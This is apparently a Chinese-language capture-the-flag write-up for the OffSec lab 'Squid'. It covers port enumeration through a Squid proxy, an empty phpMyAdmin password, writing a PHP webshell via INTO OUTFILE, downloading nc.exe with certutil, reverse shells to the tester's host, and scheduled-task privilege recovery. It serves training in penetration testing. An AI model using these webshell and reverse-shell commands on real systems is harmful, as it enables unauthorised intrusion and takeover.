本文最后更新于 2026年3月12日 下午
一、靶场详情 靶场名称:
Squid
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结 突破边界,获取用户、管理员旗帜:
设置 Squid 代理转发 –> 枚举靶机本地端口 –> 得到 3306 和 8080 –> Phpmyadmin 后台空密码 –> 配合 phpinfo 写入 webshell –> 系统 system 权限 –> 用户、管理员旗帜
三、靶场攻击演示 3.1 靶场信息收集 TCP 端口扫描:
1 2 3 4 5 6 7 8 9 10 11 192.168.188.189sudo nmap -p- 192.168.188.189 --min-rate=2000 PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3128/tcp open squid-http 49666/tcp open unknown 49667/tcp open unknown
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sudo nmap -p135,139,445,3128,49666,49667 -sCV 192.168.188.189 PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3128/tcp open http-proxy Squid http proxy 4.14 |_http-title: ERROR: The requested URL could not be retrieved |_http-server-header: squid/4.14 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: -1s | smb2-time: | date : 2025-09-10T14:09:39 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required
系统为 Windows 环境,开放有 HTTP 和一些 Windows 默认服务。
3.2 渗透测试突破边界 3.2.1 Squid 代理转发 测试靶机 SMB、RCP 等服务均没有得到有价值信息,仅剩下 TCP 3128 端口,所以我们只能通过该端口服务获取立足点。信息收集过程 nmap 识别到应用为:Squid 4.14,检索应用漏洞没有发现可利用的 EXP,尝试浏览器访问该端口,可正常访问。
检索 Squid 应用时,发现该应用主要提供代理功能,由此猜想是否可以通过该应用转发我们的流量呢?
首先想到使用 proxychains 工具,经过一番尝试,将该工具设置 squid HTTP 代理,并不能转发流量,然而通过浏览器设置 squid HTTP 代理可成功转发我们的流量。
在 kali 开启 web 共享,然后在浏览器使用 squid HTTP 代理访问 kali 共享,成功访问,说明我们的猜想是正确的。
利用 squid 的代理功能可尝试枚举靶机本地端口,首先利用 python 生成一个全端口字典,然后使用 ffuf 进行枚举。
1 2 for i in range (1 , 65536 ): print (i)
1 ffuf -u "http://192.168.188.189:FUZZ" -x http://192.168.188.189:3128 -w port.txt -fc 403
枚举到了 3306 和 8080 端口,访问 3306 端口会下载一个 MySQL 连接错误文件,没有其他有价值信息,访问 8080 端口得到了一个新的应用程序。
根据页面信息可得知应用为:Wampserver Version 3.2.3 - 64bit,检索应用已知漏洞依旧没有发现可利用的 EXP。
3.2.2 Phpmyadmin 空口令,后台写入 webshell 8080 端口页面可跳转到靶机 phpinfo、Phpmyadmin、adminer 和 phpsysinfo 应用,再次根据应用版本信息检索 EXP,仍没有得到可利用 EXP。
这里被卡住了很久,最后通过空口令进入到 Phpmyadmin 后台。
Phpmyadmin 后台可执行 SQL 语句,而且在 phpinfo 中可得知系统网站路径,因此尝试写入 webshell。首先检查 secure_file_priv 值,如果该值没有设置则可进行任意导入导出,如果该值设置了具体目录则只能对该目录进行操作,最后如果该值设置为 NULL 则不允许导入导出。
1 show global variables like '%secure%' ;
靶机并没有对导入导出做限制,可尝试在网站根目录写入 webshell。
1 select '<?php echo system($_GET["cmd"]);?>' INTO OUTFILE 'C:\\wamp\\www\\revs.php'
访问 webshell 并执行 whoami, 得到系统 system 权限。
1 http://192.168.188.189:8080/revs.php?cmd=whoami
上传 nc 至靶机网站目录,执行反弹 shell,获取到靶机 system 权限。
1 2 3 4 5 6 7 8 goshs -p 80 certutil -urlcache -split -f http://192.168.45.236/nc.exe C:/wamp/www/nc.exe rlwrap nc -lvnp 80 http://192.168.188.189:8080/revs.php?cmd=certutil -urlcache -split -f http://192.168.45.236/nc.exe C:/wamp/www/nc.exe
3.2.2 用户、管理员旗帜获取
3.3 拓展 3.3.1 Windows 账号权限缺失找回 查看靶机解析时,发现靶机最初的设计并不是直接得到系统 system 权限,而是利用 Phpmyadmin 后台 shell 获取到系统 NT AUTHORITY\LOCAL SERVICE 权限,起始得到的该用户仅有两个特殊权限,没办法直接提权到系统 system,需要利用计划任务找回用户的所有特殊权限( SeImpersonatePrivilege 特权),最后通过土豆工具提权至系统 system 权限。
参考链接:
1 2 https://itm4n.github.io/localservice-privileges/ https://github.com/itm4n/FullPowers
首先通过计划任务找回系统部分特殊权限(不包含 SeImpersonatePrivilege)。
1 2 3 $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`"" Register-ScheduledTask -Action $TaskAction -TaskName "GrantPerm" Start-ScheduledTask -TaskName "GrantPerm"
即使已经找回了部分权限,但仍缺失 SeImpersonatePrivilege 特权,需要设置 RequiredPrivileges 的值,然后再次执行计划任务。
1 2 3 4 5 [System.String []]$Privs = "SeAssignPrimaryTokenPrivilege" , "SeAuditPrivilege" , "SeChangeNotifyPrivilege" , "SeCreateGlobalPrivilege" , "SeImpersonatePrivilege" , "SeIncreaseWorkingSetPrivilege" $TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs $TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe 192.168.118.23 4444 -e cmd.exe`"" Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal Start-ScheduledTask -TaskName "GrantAllPerms"
接下来通过土豆工具提权至系统 system 权限。
Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨